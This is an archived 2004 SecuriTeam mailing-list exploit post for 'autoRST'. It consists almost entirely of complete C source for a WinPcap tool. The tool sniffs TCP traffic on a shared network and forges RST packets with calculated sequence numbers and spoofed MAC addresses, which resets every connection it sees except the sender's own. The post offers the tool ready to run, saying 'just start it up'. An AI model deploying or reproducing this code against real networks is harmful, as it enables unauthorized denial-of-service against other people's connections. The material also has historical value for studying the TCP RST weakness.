

[EXPL] autoRST – Automated TCP RST Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-05/0021.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 05/04/04

To: list@securiteam.com

Date: 4 May 2004 16:35:47 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

autoRST – Automated TCP RST Exploit

SUMMARY

autoRST is an automated TCP RST exploit. It uses the Winpcap libraries to sniff for TCP packets on a network and then sends out a forged RST packet after calculating the appropriate sequence number and forging the MAC address. Makes use of the recent vulnerable released by Paul A. Watson.

DETAILS

Exploit:

/******

* autoRST

* Matt Edman – Baylor University

* 5/3/2004

*

* DESCRIPTION:

* Sniffs out TCP connections on a non-switched network and attempts to reset them

* by forging a RST packet in the correct window

*

* REQUIRED LIBRARIES:

* –WinPCAP 3.1beta or higher

* –WinPCAP developer's pack

Securiteam: [EXPL] autoRST – Automated TCP RST Exploit

*

* NOTES:

* Just make sure you have WinPCAP 3.1beta or higher installed and the appropriate

* winpcap header files downloaded and paths setup. Other than that, just start it

* up and let it do its job.

*****/

```
#include <stdio.h>
```

```
// WinPCAP includes
```

```
#include <pcap.h>
```

```
#include <remote-ext.h>
```

```
// 6 byte MAC Address
```

```
typedef struct mac_address {
```

```
    u_char byte1;
```

```
    u_char byte2;
```

```
    u_char byte3;
```

```
    u_char byte4;
```

```
    u_char byte5;
```

```
    u_char byte6;
```

```
}mac_address;
```

```
// 4 bytes IP address
```

```
typedef struct ip_address{
```

```
    u_char byte1;
```

```
    u_char byte2;
```

```
    u_char byte3;
```

```
    u_char byte4;
```

```
}ip_address;
```

```
// 20 bytes IP Header
```

```
typedef struct ip_header{
```

```
    u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
```

```
    u_char tos; // Type of service
```

```
    u_short tlen; // Total length
```

```
    u_short identification; // Identification
```

```
    u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
```

```
    u_char ttl; // Time to live
```

```
    u_char proto; // Protocol
```

```
    u_short crc; // Header checksum
```

```
    ip_address saddr; // Source address
```

```
    ip_address daddr; // Destination address
```

```
// u_int op_pad; // Option + Padding --- NOT NEEDED!
```

```
}ip_header;
```

```
// 20 bytes TCP Header
```

```
typedef struct tcp_header {
```

```
    u_short sport; // Source port
```

Securiteam: [EXPL] autoRST – Automated TCP RST Exploit

```
u_short dport; // Destination port
u_int seqnum; // Sequence Number
u_int acknum; // Acknowledgement number
u_char hlen; // Header length
u_char flags; // packet flags
u_short win; // Window size
u_short crc; // Header Checksum
u_short urgptr; // Urgent pointer...still don't know what this is...
}tcp_header;

// FUNCTION PROTOTYPES
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const
u_char *pkt_data);
void print_packet( u_char *pkt, int len );
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport,
mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum,
u_int win );
u_int iptouint( ip_address *ip );
u_short csum (unsigned short *buf, int nwords);

// GLOBAL VARIABLES
pcap_t *adhandle; // The device handle
u_int localaddr; // Local IP Address
struct sockaddr_in *lsock; // Local socket structure

int main( int argc, char *argv[] ) {
pcap_if_t *alldevs;
pcap_if_t *d;

int inum;
int i=0;

char errbuf[PCAP_ERRBUF_SIZE];
char *localIP;

// Get the list of adapters
if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) ==
-1 ) {
printf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
return 0;
}

// Print the list of adapters -- from Winpcap sample code
for( d = alldevs; d != NULL; d = d->next ) {
printf("%d. %s", ++i, d->name);
if ( d->description )
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
printf("Enter the interface number (1-%d):",i);
```

Securiteam: [EXPL] autoRST – Automated TCP RST Exploit

```
scanf("%d", &inum);

// Traverse the list to the selected adapter
for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);

// Get the local address
lSock = (struct sockaddr_in *)(d->addresses->addr);
localaddr = lSock->sin_addr.S_un.S_addr;
printf("%d\n", localaddr);

localIP = inet_ntoa(lSock->sin_addr);
printf("Local Addr: %s\n", localIP);

// Open the device for the capture
if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS,
10, NULL, errbuf ) ) == NULL) {
fprintf(stderr, "\nUnable to open adapter: %s \n", d->name);
pcap_freealldevs(alldevs);
return -1;
}

printf("\nListening on %s...\n", d->description);
pcap_freealldevs(alldevs);
pcap_loop(adhandle, 0, packet_handler, NULL);

return 0;
}

// CALLBACK function...called for each received packet
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const
u_char *pkt_data) {
u_int ip_len;

mac_address *srcmac;
mac_address *destmac;

ip_header *iph;
tcp_header *tcph;

destmac = (mac_address *)pkt_data;
srcmac = (mac_address *) (pkt_data + 6);

iph = (ip_header *) (pkt_data + 14);

if( iph->proto == 0x06 ) { // TCP PACKETS
if( localaddr != iptouint( &iph->saddr ) && localaddr != iptouint(
&iph->daddr ) ) { // Don't reset our own connection
ip_len = (iph->ver_ihl & 0xf) * 4;
tcph = (tcp_header *) (pkt_data + 14 + ip_len);
if( tcph->flags != 0x04 ) // If the RST flag is already set, no need
sending another RST packet
```

Securiteam: [EXPL] autoRST – Automated TCP RST Exploit

```
    send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr,  
tcph->dport, tcph->acknum, tcph->win );  
    }  
    }  
}
```

// Attempts to forge a RST packet and send it back to the source,
resetting the TCP connection

```
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport,  
mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum,  
u_int win ) {
```

```
    u_short tcp_hdrcrc[16];  
    u_short ip_hdrcrc[10];
```

```
    u_short tcp_tos = htons(0x06);  
    u_short tcp_hlen = htons(0x14);  
    u_short ip_tos = htons(0x0800);
```

```
    ip_header iph;  
    tcp_header tcph;  
    u_char pkt[54];
```

```
    printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n",  
srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport),  
        destip->byte1, destip->byte2, destip->byte3,  
destip->byte4, ntohs(dport));
```

// Setup IP Header

```
iph.ver_ihl = 0x45;  
iph.tos = 0x01;  
iph.tlen = htons(40);  
iph.identification = htons(0x0800);  
iph.flags_fo = 0x0;  
iph.ttl = 0xff;  
iph.proto = 0x06;  
iph.crc = 0x00;  
iph.saddr = *destip; // swap the source & dest ips  
iph.daddr = *srcip;
```

// Setup TCP Header

```
tcph.sport = dport; // swap the source & dest ports  
tcph.dport = sport;  
tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);  
tcph.acknum = tcph.seqnum + htonl(0x1);  
tcph.hlen = 0x50;  
tcph.flags = 0x04;  
tcph.win = win;  
tcph.urgptr = 0x00;  
tcph.crc = 0x00;
```

// Calculate the IP Header Checksum

Securiteam: [EXPL] autoRST – Automated TCP RST Exploit

```
memset(ip_hdrcrc, 0, 20);
memcpy(ip_hdrcrc, &iph, 20);
iph.crc = csum( ip_hdrcrc, 10 );

// Construct the tcp pseudo-header for checksum calculation
memset(tcp_hdrcrc, 0, 32);
memcpy(tcp_hdrcrc, &tcph, 20);
memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);
memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);
memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);
memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);
tcph.crc = csum( tcp_hdrcrc, 16 );

// Assemble the packet
memcpy( pkt, (void *)srcmac, 6 );
memcpy( (void *) (pkt + 6), (void *)destmac, 6 );
memcpy( (void *) (pkt + 12), &ip_tos, 2);
memcpy( (void *) (pkt + 14), &iph, 20 );
memcpy( (void *) (pkt + 14 + sizeof( ip_header )), &tcph, 20 );

// Send the packet
if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0)
    fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(adhandle));
}

// Calculates the TCP Checksum based on the helper header
u_short csum (unsigned short *buf, int nwords) {
    unsigned long sum=0;

    for( sum=0; nwords > 0; nwords-- )
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (u_short)~sum;
}

// Takes in an ip_address structure and returns the equivalent 4byte UINT
value
u_int iptoUINT( ip_address *ip ) {
    u_int ipaddr;
    ipaddr = ip->byte4 | (ip->byte3 << 8);
    ipaddr = ipaddr | (ip->byte2 << 16);
    ipaddr = ipaddr | (ip->byte1 << 24);
    return htonl(ipaddr);
}

// Display the values in the packet on the screen
void print_packet( u_char *pkt, int len ) {
    int i;
```

Securiteam: [EXPL] autoRST – Automated TCP RST Exploit

```
printf("\tThe Packet\n-----\n");
for( i = 0; i < len; i++ ) {
  if(i%4==0)
  printf("\n");
  printf("0x%x ", pkt[i]);
}
printf("\n");
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:Matt_Edman@baylor.edu> Matt Edman.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.